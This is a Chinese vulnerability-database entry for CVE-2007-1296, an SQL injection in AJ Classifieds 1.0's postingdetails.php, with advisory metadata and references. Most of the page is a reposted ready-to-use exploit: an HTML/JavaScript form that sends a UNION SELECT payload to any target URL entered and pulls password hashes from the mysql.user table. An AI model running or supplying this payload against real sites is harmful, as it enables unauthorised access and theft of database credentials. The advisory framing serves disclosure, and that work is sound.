AJ Classifieds postingdetails.php SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1112353 漏洞类型 SQL注入
发布时间 2007-03-04 更新时间 2007-03-06
CVE编号 CVE-2007-1296 CNNVD-ID CNNVD-200703-206
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/3410
https://www.securityfocus.com/bid/81899
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200703-206
|漏洞详情
AJClassifieds1.0版本的postingdetails.php中存在SQL注入漏洞。远程攻击者可以借助postingid参数,执行任意的SQL指令。
|漏洞EXP
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>AJ Classifieds 1.0 (postingdetails.php) Remote BLIND SQL Injection Exploit</title>

<script language="JavaScript">
 
//'===============================================================================================
//'[Script Name: AJ Classifieds 1.0 (postingdetails.php) Remote BLIND SQL Injection Exploit
//'[Coded by   : ajann
//'[Author     : ajann
//'[Contact    : :(
//'[S.Page     : http://www.ajsquare.com
//'[$$         : 250 USD - 1000 USD
//'[Using      : Write Target after Submit Click
//'===============================================================================================

//# ajann,Turkey
//# ...

   

     //Basic exploit,but any time : ( 
   var path="/"
   var adres="/postingdetails.php" //File name
   var acik ="?cathead=community&postingid=" // Line x
   var sql="-1%20union%20select%200,0,0,0,1,2,password,4,0,0,0,0,6,5,4,3,2,1%20from%20mysql.user/*" // Mysql Get Password
  
   function command(){
       if (document.rfi.target1.value==""){
          alert("Failed..");
      return false;
    }


  
  rfi.action= document.rfi.target1.value+path+adres+acik+sql; // Ready Target : )
  rfi.submit(); // Form Submit
   }
</script>

</head>

<body bgcolor="#000000">
<center>

<p><b><font face="Verdana" size="2" color="#008000">AJ Classifieds 1.0 (postingdetails.php) Remote BLIND SQL Injection Exploit</font></b></p>

<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
    <b><font face="Arial" size="1" color="#FF0000">Target:</font><font face="Arial" size="1" color="#808080">[http://[target]/[scriptpath]</font><font color="#00FF00" size="2" face="Arial">
  </font><font color="#FF0000" size="2"> </font></b>
  <input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';"></p>
  <p><input type="submit" value="Gonder" name="B1"><input type="reset" value="Sifirla" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>
</p>

<b><font face="Verdana" size="2" color="#008000">ajann</font></b></p>
</center>
</body>

</html>

# milw0rm.com [2007-03-04]
|受影响的产品
Aj Square Aj Classifieds 1.0
|参考资料

来源:BID
名称:22808
链接:http://www.securityfocus.com/bid/22808
来源:MILW0RM
名称:3410
链接:http://www.milw0rm.com/exploits/3410
来源:OSVDB
名称:35452
链接:http://osvdb.org/35452
来源:XF
名称:ajclassifieds-postingdetails-sql-injection(32786)
链接:http://xforce.iss.net/xforce/xfdb/32786
来源:VUPEN
名称:ADV-2007-0833
链接:http://www.frsirt.com/english/advisories/2007/0833